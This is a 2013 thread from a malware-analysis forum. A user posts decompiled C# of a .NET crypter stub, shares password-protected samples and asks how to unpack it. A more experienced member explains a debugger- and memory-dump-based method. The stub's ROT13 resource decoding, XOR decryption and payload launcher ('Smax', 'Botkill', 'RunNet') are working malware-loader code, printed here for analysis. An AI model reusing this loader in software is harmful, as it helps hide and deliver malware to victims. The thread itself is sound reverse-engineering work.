A forum for reverse engineering, OS internals and malware analysis 

Discussion on reverse-engineering and debugging.
 #18053  by r3shl4k1sh
 Wed Feb 06, 2013 1:55 pm
Hi,

I have a packet malware that i am unable to unpack, it is packet with some sort of .NET packer but i am unable to detect what kind of packer it is.
I was able to get the .cs file using Reflector and here it is:

I have no idea what is the Smax thing there.
Code: Select all
using Ionic.Utils.Zip;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;
using System.Windows.Forms;

internal static class Deeldo
{
    private const string resourceName = "Ionic.Utils.Zip.dll";
    public static byte[] Running;
    public static List<Thread> Threads = new List<Thread>();
    public static ZipFile zip;

    private static void AddThread(Thread thread, object[] parameters)
    {
        thread.Priority = ThreadPriority.AboveNormal;
        thread.Start(parameters);
        Threads.Add(thread);
    }

    private static void Begin(object state)
    {
        object[] objArray = (object[]) state;
        Smax.Begin((string) objArray[0], Process.GetCurrentProcess().MainModule.FileName);
    }

    private static void Botkill(object state)
    {
        Smax.Botkill();
    }

    private static Assembly CurrentDomainOnAssemblyResolve(object sender, ResolveEventArgs args)
    {
        if (args.Name.Contains("Ionic"))
        {
            using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Ionic.Utils.Zip.dll"))
            {
                byte[] buffer = new byte[stream.Length];
                stream.Read(buffer, 0, buffer.Length);
                return Assembly.Load(buffer);
            }
        }
        return Assembly.Load(Running);
    }

    private static string Decode(string input)
    {
        char[] chArray = input.ToCharArray();
        int num = 13;
        for (int i = 0; i < chArray.Length; i++)
        {
            if ((chArray[i] <= 'Z') && (chArray[i] >= 'A'))
            {
                chArray[i] = (char) ((((chArray[i] - 'A') + num) % 0x1a) + 0x41);
            }
            if ((chArray[i] <= 'z') && (chArray[i] >= 'a'))
            {
                chArray[i] = (char) ((((chArray[i] - 'a') + num) % 0x1a) + 0x61);
            }
        }
        return new string(chArray);
    }

    public static byte[] Dew(string rName)
    {
        string[] strArray = Encoding.GetEncoding(0x4e4).GetString(Logitech(rName)).Split(new char[] { ',' });
        List<byte> list = new List<byte>();
        foreach (string str in strArray)
        {
            list.AddRange(Logitech(str));
        }
        return list.ToArray();
    }

    private static void Fap(object state)
    {
        object[] objArray = (object[]) state;
        Smax.Fap((byte[]) objArray[0], (bool) objArray[1], (string) objArray[2], (string) objArray[3], (int) objArray[4], (bool) objArray[5]);
    }

    public static byte[] Logitech(string A)
    {
        Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(A);
        byte[] buffer = new byte[manifestResourceStream.Length];
        manifestResourceStream.Read(buffer, 0, (int) manifestResourceStream.Length);
        return buffer;
    }

    private static void Main()
    {
        try
        {
            AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(Deeldo.CurrentDomainOnAssemblyResolve);
            Running = Mountain(Dew(Decode("Lbh Fve.nepuvgrpg")));
            AddThread(new Thread(new ParameterizedThreadStart(Deeldo.Fap)), new object[] { Mountain(Dew(Decode("Ner Znq.nepuvgrpg"))), true, Decode("pigerf.rkr"), ".exe", 0, false });
            foreach (Thread thread in Threads)
            {
                thread.Join();
            }
        }
        catch (Exception exception)
        {
            MessageBox.Show(exception.ToString());
        }
    }

    public static byte[] Mountain(byte[] input)
    {
        byte[] buffer2;
        int num2;
        byte[] src = new byte[] { 
            0x57, 0x68, 70, 0x61, 0x37, 0x7d, 0x2e, 0x48, 0x48, 0x59, 0x77, 80, 80, 0x26, 0x23, 0x72, 
            0x62, 0x63, 0x53, 0x3e, 0x48, 0x40, 0x6b, 0x26, 0x4e, 110, 90, 0x56, 0x29, 0x52, 0x70, 0x63, 
            0x2e, 0x60, 50, 0x30, 0x29, 0x51, 0x62, 120, 0x66, 100, 0x43, 0x62, 120, 0x6f, 0x31, 0x36, 
            80, 0x56, 70, 0x4d, 0x6f, 0x36, 0x68, 0x47, 0x2d, 0x43, 0x57, 0x69, 0x68, 0x79, 0x58, 0x73, 
            0x37, 0x3f, 0x3b, 0x41, 0x48, 0x52, 0x6f, 0x40, 0x2d, 50, 0x4a, 0x52, 0x68, 40, 0x56, 0x48, 
            0x2d, 110, 100, 0x62, 0x5e, 0x39, 100, 0x37, 0x7b, 0x2e, 0x57, 110, 0x60, 0x68, 0x74, 0x69, 
            0x55, 0x41, 0x26, 0x52, 0x31, 0x3f, 0x3e, 0x75, 70, 0x2c, 0x2e, 0x3b, 60, 0x2e, 0x30, 0x74, 
            0x7e, 0x21, 0x61, 0x26, 40, 0x38, 0x63, 0x2d, 90, 0x51, 0x2c, 0x23, 0x77, 0x7d, 0x23, 0x27, 
            0x76, 80, 0x2d, 0x58, 0x65, 0x6c, 0x6d, 0x6b, 0x4f, 0x79, 0x4e, 0x68, 0x43, 0x35, 0x4b, 0x69, 
            0x33, 0x38, 0x6d, 0x67, 0x79, 0x66, 0x67, 0x6f, 110, 40, 0x7d, 0x5e, 0x74, 0x2a, 0x74, 60, 
            0x24, 0x29, 0x41, 120, 0x3e, 60, 0x77, 0x3f, 0x53, 40, 0x38, 0x23, 0x42, 0x75, 50, 110, 
            0x27, 90, 0x41, 90, 80, 0x42, 0x2e, 0x70, 0x36, 0x24, 0x37, 0x70, 0x38, 0x39, 100, 0x4a, 
            0x77, 0x2b, 0x31, 0x2c, 0x7d, 0x38, 50, 70, 0x36, 80, 0x4c, 100, 0x3e, 0x31, 0x30, 0x6c, 
            0x4b, 0x41, 0x69, 0x51, 0x37, 0x51, 0x7a, 0x68, 0x6c, 0x57, 0x25, 0x5e, 0x38, 0x2a, 0x38, 100, 
            0x3f, 0x3b, 0x40, 0x2f, 0x3e, 0x48, 0x54, 0x51, 50, 0x3d, 110, 0x71, 0x79, 0x48, 0x34, 0x74, 
            0x54, 0x67, 0x49, 0x23, 0x31, 0x2c, 120, 0x4a, 0x2c, 0x73, 0x4f, 0x38, 0x4f, 0x51, 0x6a, 0x45, 
            0x73, 0x59, 0x36, 0x7e, 0x52, 0x56, 0x45, 0x77, 0x79, 0x56, 0x6f, 0x30, 0x73, 0x6c, 0x70
         };
        int length = input.Length;
        if (src.Length >= length)
        {
            buffer2 = src;
        }
        else
        {
            byte[] bytes = BitConverter.GetBytes(Math.Round((double) 3.1415926535897931, 3));
            byte[] dst = new byte[length];
            Buffer.BlockCopy(src, 0, dst, 0, src.Length);
            num2 = src.Length;
            while (num2 < length)
            {
                dst[num2] = (byte) ((src[(num2 - src.Length) % src.Length] ^ dst[num2 - 1]) % 0x100);
                num2++;
            }
            for (int i = 0; i < 5; i++)
            {
                dst[0] = (byte) (dst[0] ^ bytes[i]);
                num2 = 1;
                while (num2 < dst.Length)
                {
                    dst[num2] = (byte) (((dst[num2] ^ ((byte) (bytes[i] << (num2 % 3)))) ^ dst[num2 - 1]) % 0x100);
                    num2++;
                }
            }
            buffer2 = dst;
        }
        byte[] array = input;
        byte num4 = input[input.Length - 1];
        Array.Resize<byte>(ref array, array.Length - 1);
        for (num2 = 0; num2 < array.Length; num2++)
        {
            array[num2] = (byte) ((array[num2] ^ num4) ^ buffer2[num2]);
        }
        input = array;
        MemoryStream stream = new MemoryStream();
        zip = ZipFile.Read(input);
        zip.Extract("buff", stream);
        return stream.ToArray();
    }

    private static void RunNet(object state)
    {
        object[] objArray = (object[]) state;
        Smax.RunNet((byte[]) objArray[0]);
    }

    private static void Scribe(object state)
    {
        object[] objArray = (object[]) state;
        Smax.Scribe((byte[]) objArray[0], (bool) objArray[1], (string) objArray[2], (bool) objArray[3], (int) objArray[4]);
    }
}

I would like to get your help on how to unpack it
Attachments
password: infected
(151.11 KiB) Downloaded 42 times
 #18061  by EP_X0FF
 Wed Feb 06, 2013 4:55 pm
See attach.
Attachments
pass: malware
(234.07 KiB) Downloaded 31 times
 #18063  by r3shl4k1sh
 Wed Feb 06, 2013 5:21 pm
EP_X0FF wrote:See attach.
Thank you.

1: Could you please tell me what kind of packer it was and how i can know what kind of packer (known one) a certine file is using.
2: How you have unpacked it (in short)?
 #18074  by EP_X0FF
 Thu Feb 07, 2013 3:49 am
r3shl4k1sh wrote:1: Could you please tell me what kind of packer it was and how i can know what kind of packer (known one) a certine file is using.
There thousands of these "super duper mega cryptors" each with it own name. I don't know how it named and don't care about it name. The only difference between all of them - the level of stupidity of their authors.
2: How you have unpacked it (in short)?
Well I loaded it into emulator running inside controlled environment, and made few memory snapshots of this process, then extracted decrypted by cryptor payload container. Overall it take less than 1 minute.
 #18075  by r3shl4k1sh
 Thu Feb 07, 2013 7:44 am
EP_X0FF wrote:
r3shl4k1sh wrote:1: Could you please tell me what kind of packer it was and how i can know what kind of packer (known one) a certine file is using.
There thousands of these "super duper mega cryptors" each with it own name. I don't know how it named and don't care about it name. The only difference between all of them - the level of stupidity of their authors. :lol: (interestingly that stupidity brings you money these days...)
2: How you have unpacked it (in short)?
Well I loaded it into emulator running inside controlled environment, and made few memory snapshots of this process, then extracted decrypted by cryptor payload container. Overall it take less than 1 minute.
LordPE , PEtools, and the like? usually it the process of decryption occurs fast how can i catch the process in memory?
 #18076  by EP_X0FF
 Thu Feb 07, 2013 8:32 am
Set breaks on NtAllocateVirtualMemory, NtFreeVirtualMemory, NtTerminateProcess and inspect. This particular crapware do not free memory buffer used to store decrypted payload.
 #18086  by r3shl4k1sh
 Thu Feb 07, 2013 3:05 pm
EP_X0FF wrote:Set breaks on NtAllocateVirtualMemory, NtFreeVirtualMemory, NtTerminateProcess and inspect. This particular crapware do not free memory buffer used to store decrypted payload.
Is it a general rule for most of the packed malware?

BTY, i am unable to unpack the .NET malware mentioned above using this method for several hours now. I am trying to find the PE header of the malware in the ZwAllocateVirtualMemory parameters but it seems that this method is being used by the packer in order to load the modules the packed malware need, but i'am can't find the address where the malware itself will be loaded. Any tip?
 #18087  by EP_X0FF
 Thu Feb 07, 2013 3:25 pm
All "container" based cryptors "unpacks" this way -> they allocate temporary buffer, decrypts actuall payload and anyhow transfer execution to it (directly, by rellocating it, running second copy etc). So they all leave traces in memory, sometimes regions with fully decrypted containers, sometimes there are another layer of encryption in memory (packers like upx, aspack, pecompact, packed by LZMA buffers, etc).

As for this sample, just give it work some time under debugger and dump region with payload, cut off garbage, unpacking done.
im.png
im.png (68.9 KiB) Viewed 689 times